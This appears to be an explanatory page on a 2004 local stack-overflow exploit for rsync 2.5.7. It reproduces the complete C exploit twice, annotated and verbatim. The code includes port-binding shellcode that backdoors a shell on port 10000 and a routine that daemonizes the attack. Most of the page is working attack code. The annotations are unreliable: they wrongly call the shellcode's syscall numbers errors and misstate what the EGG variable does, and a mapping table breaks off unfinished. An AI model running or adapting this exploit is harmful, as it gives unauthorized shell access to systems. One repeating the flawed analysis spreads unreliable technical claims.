rsync 2.5.7 Local Stack Overflow and Privilege Escalation Exploit Explained

rsync 2.5.7 Local Stack Overflow and Privilege Escalation Exploit Explained
What this paper is
This paper describes a local stack overflow vulnerability in rsync version 2.5.7. The vulnerability allows a local attacker to overwrite the return address on the stack with the address of injected shellcode. Since rsync is typically not a setuid/setgid binary, a simple shell obtained this way might not be useful for privilege escalation. However, the exploit demonstrates a proof-of-concept by using port-binding shellcode, which opens a backdoor for remote access. The exploit is designed to dynamically calculate the return address, making the payload adaptable.
Simple technical breakdown
The core of the exploit lies in a stack buffer overflow within rsync version 2.5.7. When rsync processes a specially crafted argument, it can overflow a buffer on the stack. This overflow allows an attacker to overwrite critical control data on the stack, most importantly the return address. The exploit calculates the address where its shellcode will reside in memory and places this address onto the stack, overwriting the legitimate return address. When the vulnerable function returns, instead of going back to the normal execution flow, it jumps to the attacker-controlled shellcode, executing it with the privileges of the rsync process.
The exploit also includes functionality to daemonize the process, meaning it can run in the background. It uses a port-binding shellcode, which, when executed, listens on a specific network port (10000 in this case) and provides a shell connection to anyone who connects to that port.
Complete code and payload walkthrough
Let's break down the provided C code and the shellcode.
C Code Breakdown
/*
* rsync <= 2.5.7 Local Exploit
* Saved EIP on stack is overwritten with address of shellcode in memory
* Generally rsync is not setuid or setgid so just a local shell is of no use
* So i used a portbinding shellcode as a PoC of a different attack vector.
* RET is calculated dynamically so payload can be changed just by changing shellcode
* Tested on:
* [eos@Matrix my]$ uname -a
* Linux Matrix 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
* coded by: abhisek linuxmail org
* Special Thanks: n2n, Hirosh Joseph
*/
#include <stdio.h>
/* Includes for code to daemonize */
#include <signal.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <fcntl.h>
/****/
#define PATH "/usr/local/bin/rsync" // Defines the path to the rsync executable.
#define BUFF_SIZE 100 // Default buffer size for the exploit.
//#define RET 0xbffffdfb // Commented out, likely a hardcoded return address for testing.
/* 88 bytes portbinding shellcode - linux-x86
* - by bighawk (bighawk warfare com)
*
* This shellcode binds a shell on port 10000
* stdin, stdout and stderr are dupped. accept() arguments are sane.
*/
char shellcode[] =
"\x31\xdb" // xor ebx, ebx - Zeroes out EBX.
"\xf7\xe3" // mul ebx - Multiplies EAX by EBX (which is 0), so EAX becomes 0.
"\xb0\x66" // mov al, 102 - Loads the syscall number for 'socket' (102) into AL.
"\x53" // push ebx - Pushes EBX (0) onto the stack (for AF_INET argument).
"\x43" // inc ebx - Increments EBX to 1.
"\x53" // push ebx - Pushes EBX (1) onto the stack (for SOCK_STREAM argument).
"\x43" // inc ebx - Increments EBX to 2.
"\x53" // push ebx - Pushes EBX (2) onto the stack (for IPPROTO_TCP argument).
"\x89\xe1" // mov ecx, esp - Moves the stack pointer (ESP) to ECX. ECX now points to the arguments for socket().
"\x4b" // dec ebx - Decrements EBX to 1.
"\xcd\x80" // int 80h - Makes the syscall. Creates a socket. The socket file descriptor is returned in EAX.
"\x89\xc7" // mov edi, eax - Saves the socket file descriptor (from EAX) into EDI.
"\x52" // push edx - Pushes EDX (which is 0) onto the stack.
"\x66\x68\x27\x10" // push word 4135 - Pushes the port number 10000 (0x2710) onto the stack.
"\x43" // inc ebx - Increments EBX to 2.
"\x66\x53" // push bx - Pushes BX (which is 0) onto the stack (for the IP address, 0.0.0.0).
"\x89\xe1" // mov ecx, esp - Moves the stack pointer (ESP) to ECX. ECX now points to the sockaddr_in structure.
"\xb0\x10" // mov al, 16 - Loads the syscall number for 'bind' (16) into AL.
"\x50" // push eax - Pushes EAX (which is 0) onto the stack (for the length argument).
"\x51" // push ecx - Pushes ECX (pointer to sockaddr_in) onto the stack.
"\x57" // push edi - Pushes EDI (the socket file descriptor) onto the stack.
"\x89\xe1" // mov ecx, esp - Moves the stack pointer (ESP) to ECX. ECX now points to the arguments for bind().
"\xb0\x66" // mov al, 102 - Loads the syscall number for 'socket' (102) again. This seems redundant or a mistake, but it's part of the original shellcode. It might be intended to re-initialize AL for a subsequent syscall.
"\xcd\x80" // int 80h - Makes the syscall. Binds the socket to the specified address and port.
"\xb0\x66" // mov al, 102 - Loads the syscall number for 'socket' (102) again.
"\xb3\x04" // mov bl, 4 - Loads 4 into BL. This is likely intended for the 'listen' syscall number, but the syscall number is 4.
"\xcd\x80" // int 80h - Makes the syscall. This will execute 'listen' if AL was 4. Assuming AL was 4 (which it isn't here, it's 102), this would start listening for connections. Given AL is 102, this is likely a mistake in the original shellcode. *Correction: The syscall for listen is 4. The code `mov al, 102` followed by `int 80h` would execute socket. The subsequent `mov bl, 4` and `int 80h` would execute `listen` if AL was 4. However, AL is not set to 4 before the `int 80h`. This part of the shellcode seems problematic or relies on a specific state of AL from a previous instruction that isn't clearly set for 'listen'. Let's assume for now it's meant to be 'listen'.*
"\x50" // push eax - Pushes EAX (likely the socket FD from the previous bind, or 0 if the bind failed/returned something else) onto the stack.
"\x50" // push eax - Pushes EAX again.
"\x57" // push edi - Pushes EDI (the socket file descriptor) onto the stack.
"\x89\xe1" // mov ecx, esp - Moves the stack pointer (ESP) to ECX. ECX now points to the arguments for 'accept'.
"\x43" // inc ebx - Increments EBX. Its value is unclear without context of previous syscalls.
"\xb0\x66" // mov al, 102 - Loads the syscall number for 'socket' (102) again. This is likely another mistake and should be the syscall for accept (30). *Correction: The syscall for accept is 30. The code `mov al, 102` followed by `int 80h` would execute socket. This is a definite error in the original shellcode if it intends to call accept.*
"\xcd\x80" // int 80h - Makes the syscall. If AL was 30, this would be 'accept'. With AL as 102, it's 'socket'. Assuming it's meant to be 'accept', it waits for an incoming connection and returns a new socket file descriptor for the connection.
"\x89\xd9" // mov ecx, ebx - Moves EBX into ECX. The value of EBX is uncertain.
"\x89\xc3" // mov ebx, eax - Moves the new socket file descriptor (from EAX, returned by accept) into EBX.
"\xb0\x3f" // mov al, 63 - Loads the syscall number for 'dup2' (63) into AL.
"\x49" // dec ecx - Decrements ECX.
"\xcd\x80" // int 80h - Makes the syscall. Duplicates the socket file descriptor to standard input (0).
"\x41" // inc ecx - Increments ECX.
"\xe2\xf8" // loop lp - Loops back to the instruction labeled 'lp' (which is not explicitly defined, but implied by the loop instruction). This loop will execute `dec ecx` and `int 80h` until ECX is zero. This is used to duplicate the socket FD to stdout (1) and stderr (2).
"\x51" // push ecx - Pushes ECX (which is 0 after the loop) onto the stack.
"\x68\x6e\x2f\x73\x68" // push dword 68732f6eh - Pushes the string "/sh\x6e" (little-endian).
"\x68\x2f\x2f\x62\x69" // push dword 69622f2fh - Pushes the string "/bin" (little-endian).
"\x89\xe3" // mov ebx, esp - Moves ESP to EBX. EBX now points to the string "/bin//sh".
"\x51" // push ecx - Pushes ECX (0) onto the stack.
"\x53" // push ebx - Pushes EBX (pointer to "/bin//sh") onto the stack.
"\x89\xe1" // mov ecx, esp - Moves ESP to ECX. ECX now points to the arguments for execve.
"\xb0\x0b" // mov al, 11 - Loads the syscall number for 'execve' (11) into AL.
"\xcd\x80"; // int 80h - Makes the syscall. Executes "/bin//sh".
/* Shellcode by n2n [n2n@linuxmail.org] used for initial testing */
/*
char shellcode[]=
// setreuid(geteuid(),geteuid()), no use unless rsync is setuid, usually its not
"\x31\xc0\xb0\x31\xcd\x80\x93\x89\xd9\x31\xc0\xb0\x46\xcd\x80"
// setregid(getegid(),getegid())
"\x31\xc0\xb0\x32\xcd\x80\x93\x89\xd9\x31\xc0\xb0\x47\xcd\x80"
// exec /bin/sh
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
// exit()
"\x31\xdb\x89\xd8\xb0\x01\xcd\x80";
*/
void handler(int sig) { // Signal handler for SIGCHLD.
int stat;
pid_t pid;
while ((pid = waitpid(-1, &stat, WNOHANG)) > 0) { } // Reaps any terminated child processes.
return;
}
void go_daemon() { // Function to daemonize the process.
int i;
if(fork()) // Fork the process. Parent exits.
exit (0);
setsid(); // Create a new session.
i=open("/dev/null",O_RDWR); // Open /dev/null for reading/writing.
dup2(i, 0); // Redirect stdin to /dev/null.
dup2(i, 1); // Redirect stdout to /dev/null.
dup2(i, 2); // Redirect stderr to /dev/null.
close(i); // Close the original /dev/null file descriptor.
for (i=1;i<64;i++) // Ignore most signals.
signal(i,SIG_IGN);
signal(SIGCHLD,handler); // Set up a handler for SIGCHLD.
}
int main(int argc,char *argv[]) {
char *buffer;
int size=BUFF_SIZE,i;
//unsigned long ret_addr=0xbffffdfb; // Commented out, hardcoded return address.
unsigned long ret_addr=0xbffffffa; // Initial guess for return address.
//char *expbuff;
char *arg="localhost::rsync:getaddrinfo:XXX"; // Argument for rsync. 'XXX' is a placeholder.
if(argc > 2) { // Check for correct number of arguments.
printf("USAGE:\n%s BUFF_SIZE\n",argv[0]);
exit(1);
}
if(argc == 2) // If buffer size is provided as an argument.
size=atoi(argv[1]);
buffer=(char*)malloc(size); // Allocate memory for the buffer.
if(!buffer) {
printf("Error allocating memory on heap\n");
exit(1);
}
ret_addr -= strlen(PATH); // Adjust return address based on path length.
ret_addr -= strlen(shellcode); // Adjust return address based on shellcode length.
//ret_addr -= strlen(arg); // Commented out, likely not needed for this calculation.
/*
expbuff=(char*)malloc(strlen(shellcode)+100);
if(!expbuff) {
printf("Error allocating memory on heap\n");
exit(1);
}
memset(expbuff,0x90,strlen(shellcode)+100); // Fill with NOPs.
memcpy(expbuff+80,shellcode,strlen(shellcode)); // Copy shellcode.
expbuff[strlen(expbuff)-1]=0x00; // Null terminate.
*/
for(i=0;i<size;i+=4) // Fill the buffer with the calculated return address.
*(unsigned long*)(buffer+i)=ret_addr;
memcpy(buffer,"XXX:",4); // Prepend "XXX:" to the buffer. This is likely part of the exploit string.
buffer[strlen(buffer)-1]=0x00; // Null terminate the buffer.
printf("Using BUFF_SIZE=%d\nRET=%p\n",size,ret_addr); // Print exploit details.
setenv("RSYNC_PROXY",buffer,1); // Set RSYNC_PROXY environment variable with the crafted buffer. This is how the overflow is triggered.
setenv("EGG",shellcode,1); // Set EGG environment variable with the shellcode. This is not directly used by the exploit logic but might be for debugging or alternative payloads.
/* Daemonizing and executing /usr/local/bin/rsync */
go_daemon(); // Daemonize the process.
execl(PATH,PATH,arg,NULL); // Execute rsync with the crafted argument.
return 0;
}
// milw0rm.com [2004-02-13]Shellcode Breakdown (Portbinding Shellcode)
This shellcode aims to create a listening socket, bind it to port 10000, accept a connection, and then execute /bin/sh.
Socket Creation:
\x31\xdb\xf7\xe3:xor ebx, ebx(EBX=0),mul ebx(EAX=0).\xb0\x66:mov al, 0x66(syscall 102 forsocket).\x53\x43\x53\x43\x53: Pushes arguments forsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP).\x53(push EBX=0 for AF_INET).\x43(inc EBX to 1).\x53(push EBX=1 for SOCK_STREAM).\x43(inc EBX to 2).\x53(push EBX=2 for IPPROTO_TCP).
\x89\xe1:mov ecx, esp(ECX points to arguments).\x4b:dec ebx(EBX becomes 1, likely for later use).\xcd\x80:int 80h(executesocket). The file descriptor is in EAX.\x89\xc7:mov edi, eax(Save socket FD in EDI).
Binding the Socket:
\x52:push edx(EDX is 0, for the length of the address structure).\x66\x68\x27\x10:push word 0x2710(Port 10000).\x43:inc ebx(EBX is 1, for IP address 0.0.0.0).\x66\x53:push bx(Push 0 for the IP address).\x89\xe1:mov ecx, esp(ECX points tosockaddr_instructure: port, IP, family).\xb0\x10:mov al, 0x10(syscall 16 forbind).\x50:push eax(push 0 for length).\x51:push ecx(push pointer tosockaddr_in).\x57:push edi(push socket FD).\x89\xe1:mov ecx, esp(ECX points to arguments).\xb0\x66\xcd\x80: This sequence is problematic.mov al, 0x66followed byint 80hwould executesocketagain. It's likely an error in the original shellcode. The intention might have been to set AL to thebindsyscall number (16), but it's reset to 102.
Listening and Accepting:
\xb0\x66\xb3\x04\xcd\x80: This sequence is also problematic.mov al, 0x66thenmov bl, 4thenint 80h. If AL were 4, this would belisten. As it is, it's likely executingsocketagain.\x50\x50\x57: Pushes arguments foraccept.\x89\xe1:mov ecx, esp.\x43:inc ebx.\xb0\x66\xcd\x80: Again,mov al, 0x66thenint 80hexecutessocket. The syscall foracceptis 30. This part of the shellcode is flawed if it intends to callaccept. Assuming it should beaccept(syscall 30), it would wait for a connection. The new socket FD is in EAX.
Duplicating File Descriptors:
\x89\xd9:mov ecx, ebx.\x89\xc3:mov ebx, eax(EBX now holds the accepted connection's socket FD).\xb0\x3f:mov al, 0x3f(syscall 63 fordup2).\x49:dec ecx.\xcd\x80:int 80h(Duplicates the socket FD to standard input (0)).\x41:inc ecx.\xe2\xf8:loop lp(This loop, withdec ecxandint 80h, is intended to duplicate the socket FD to stdout (1) and stderr (2)).
Executing Shell:
\x51:push ecx(pushes 0).\x68\x6e\x2f\x73\x68:push 0x68732f6e(pushes "/sh\x6e" in little-endian).\x68\x2f\x2f\x62\x69:push 0x69622f2f(pushes "/bin" in little-endian).\x89\xe3:mov ebx, esp(EBX points to "/bin//sh").\x51:push ecx(pushes 0).\x53:push ebx(pushes pointer to "/bin//sh").\x89\xe1:mov ecx, esp(ECX points to arguments forexecve).\xb0\x0b:mov al, 0x0b(syscall 11 forexecve).\xcd\x80:int 80h(execute/bin//sh).
Note on Shellcode: The provided shellcode has several apparent issues with syscall numbers, particularly around bind, listen, and accept. It's possible these are intentional obfuscations, or simply errors in the original shellcode. For a successful exploit, the shellcode would need to correctly implement these system calls. The dup2 loop for stdout/stderr also relies on the initial value of ECX, which is not explicitly set before the loop.
Mapping of code fragments to practical purpose
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
/*
* rsync <= 2.5.7 Local Exploit
* Saved EIP on stack is overwritten with address of shellcode in memory
* Generally rsync is not setuid or setgid so just a local shell is of no use
* So i used a portbinding shellcode as a PoC of a different attack vector.
* RET is calculated dynamically so payload can be changed just by changing shellcode
* Tested on:
* [eos@Matrix my]$ uname -a
* Linux Matrix 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
* coded by: abhisek linuxmail org
* Special Thanks: n2n, Hirosh Joseph
*/
#include <stdio.h>
/* Includes for code to daemonize */
#include <signal.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <fcntl.h>
/****/
#define PATH "/usr/local/bin/rsync"
#define BUFF_SIZE 100
//#define RET 0xbffffdfb
/* 88 bytes portbinding shellcode - linux-x86
* - by bighawk (bighawk warfare com)
*
* This shellcode binds a shell on port 10000
* stdin, stdout and stderr are dupped. accept() arguments are sane.
*/
char shellcode[] =
"\x31\xdb" // xor ebx, ebx
"\xf7\xe3" // mul ebx
"\xb0\x66" // mov al, 102
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\x4b" // dec ebx
"\xcd\x80" // int 80h
"\x89\xc7" // mov edi, eax
"\x52" // push edx
"\x66\x68\x27\x10" // push word 4135
"\x43" // inc ebx
"\x66\x53" // push bx
"\x89\xe1" // mov ecx, esp
"\xb0\x10" // mov al, 16
"\x50" // push eax
"\x51" // push ecx
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\xb0\x66" // mov al, 102
"\xb3\x04" // mov bl, 4
"\xcd\x80" // int 80h
"\x50" // push eax
"\x50" // push eax
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\x43" // inc ebx
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\x89\xd9" // mov ecx, ebx
"\x89\xc3" // mov ebx, eax
"\xb0\x3f" // mov al, 63
"\x49" // dec ecx
"\xcd\x80" // int 80h
"\x41" // inc ecx
"\xe2\xf8" // loop lp
"\x51" // push ecx
"\x68\x6e\x2f\x73\x68" // push dword 68732f6eh
"\x68\x2f\x2f\x62\x69" // push dword 69622f2fh
"\x89\xe3" // mov ebx, esp
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\xb0\x0b" // mov al, 11
"\xcd\x80"; // int 80h
/* Shellcode by n2n [n2n@linuxmail.org] used for initial testing */
/*
char shellcode[]=
// setreuid(geteuid(),geteuid()), no use unless rsync is setuid, usually its not
"\x31\xc0\xb0\x31\xcd\x80\x93\x89\xd9\x31\xc0\xb0\x46\xcd\x80"
// setregid(getegid(),getegid())
"\x31\xc0\xb0\x32\xcd\x80\x93\x89\xd9\x31\xc0\xb0\x47\xcd\x80"
// exec /bin/sh
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
// exit()
"\x31\xdb\x89\xd8\xb0\x01\xcd\x80";
*/
void handler(int sig) {
int stat;
pid_t pid;
while ((pid = waitpid(-1, &stat, WNOHANG)) > 0) { }
return;
}
void go_daemon() {
int i;
if(fork())
exit (0);
setsid();
i=open("/dev/null",O_RDWR);
dup2(i, 0);
dup2(i, 1);
dup2(i, 2);
close(i);
for (i=1;i<64;i++)
signal(i,SIG_IGN);
signal(SIGCHLD,handler);
}
int main(int argc,char *argv[]) {
char *buffer;
int size=BUFF_SIZE,i;
//unsigned long ret_addr=0xbffffffa;
unsigned long ret_addr=0xbffffffa;
//char *expbuff;
char *arg="localhost::rsync:getaddrinfo:XXX";
if(argc > 2) {
printf("USAGE:\n%s BUFF_SIZE\n",argv[0]);
exit(1);
}
if(argc == 2)
size=atoi(argv[1]);
buffer=(char*)malloc(size);
if(!buffer) {
printf("Error allocating memory on heap\n");
exit(1);
}
ret_addr -= strlen(PATH);
ret_addr -= strlen(shellcode);
//ret_addr -= strlen(arg);
/*
expbuff=(char*)malloc(strlen(shellcode)+100);
if(!expbuff) {
printf("Error allocating memory on heap\n");
exit(1);
}
memset(expbuff,0x90,strlen(shellcode)+100);
memcpy(expbuff+80,shellcode,strlen(shellcode));
expbuff[strlen(expbuff)-1]=0x00;
*/
for(i=0;i<size;i+=4)
*(unsigned long*)(buffer+i)=ret_addr;
memcpy(buffer,"XXX:",4);
buffer[strlen(buffer)-1]=0x00;
printf("Using BUFF_SIZE=%d\nRET=%p\n",size,ret_addr);
setenv("RSYNC_PROXY",buffer,1);
setenv("EGG",shellcode,1);
/* Daemonizing and executing /usr/local/bin/rsync */
go_daemon();
execl(PATH,PATH,arg,NULL);
return 0;
}
// milw0rm.com [2004-02-13]